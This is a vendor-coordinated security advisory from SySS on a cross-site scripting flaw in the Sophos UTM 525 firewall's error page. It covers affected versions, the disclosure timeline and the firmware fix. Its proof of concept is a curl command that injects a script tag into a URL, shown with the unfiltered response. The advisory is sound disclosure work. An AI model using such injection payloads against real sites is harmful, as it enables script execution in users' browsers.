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Advisory ID: SYSS-2016-009
Product: Sophos UTM 525 Full Guard
Vendor: Sophos
Affected Version(s): 9.352-6, 94988
Tested Version(s): 9.352-6, 94988
Vulnerability Type: Cross-Site Scripting (CWE-79)
Risk Level: Medium
Solution Status: Fixed
Vendor Notification: 2016-02-03
Solution Date: 2016-02-17
Public Disclosure: 2016-03-01
CVE Reference: Not assigned
Author of Advisory: Dr. Adrian Vollmer (SySS GmbH)
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Overview:
The Sophos UTM 525 is a hardware appliance which aims to provide several
protection mechanisms for users and servers in an enterprise environment.
One if its functions is a Web Application Firewall (WAF).
The software manufacturer describes the application as follows (see [1]):
Sophos UTM 525 is designed to provide protection for larger enterprises.
Based on high quality Intel-compatible server systems, including Intel
Multi-Core processor technology and redundant hard disks and power
supplies, it provides optimal performance and reliability even for
larger environments.
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Vulnerability Details:
The SySS GmbH identified a text-book Cross-Site Scripting vulnerability.
Inserting an HTML 'script' tag into the URL of a web site protected by
Sophos UTM 525 yields an error page which contains the 'script' tag
unfiltered. Executing malicious JavaScript code in the victim's browser
is therefore straightforward.
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Proof of Concept (PoC):
The following Unix command demonstrates the vulnerability.
$ curl 'https://[HOST]/%3Cscript%3Ealert("SySS%20XSS")%3C/script%3E'
<html><head><title>Request blocked</title><meta name="robots"
content="noindex"></head><body><h1>Request blocked</h1><p>The web
application firewall has blocked access to <i>/<script>alert("SySS
XSS")</script></i> for the following reason:</p><pre><b>No signature
found</b></pre><hr></body></html>
The unfiltered 'script' tag is visible in the HTML source of the response
and the contained JavaScript code will be executed in the victim's
browser.
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Solution:
Update the firmware to version 9.354 or later [4].
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Disclosure Timeline:
2015-11-24: Vulnerability discovered
2016-02-03: Vulnerability reported to vendor
2016-02-17: Release of version 9.354
2016-03-01: Public release of security advisory
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References:
[1] www.sophos.com/en-us/medialibrary/PDFs/factsheets/sophosutm525dsna.pdf?la=en-us
[2] SySS GmbH, SYSS-2016-009
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/2016/SYSS-2016-009.txt
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/
[4] https://blogs.sophos.com/2016/02/17/utm-up2date-9-354-released/
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Credits:
Security vulnerability found by Dr. Adrian Vollmer of SySS GmbH.
E-Mail: adrian.vollmer@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Adrian_Vollmer.asc
Key ID: 0x037C9FE7
Key Fingerprint: 70CF E88C AEE7 DB0F 5DC8 3403 0E02 7C7E 037C 9FE7
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Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.
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Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
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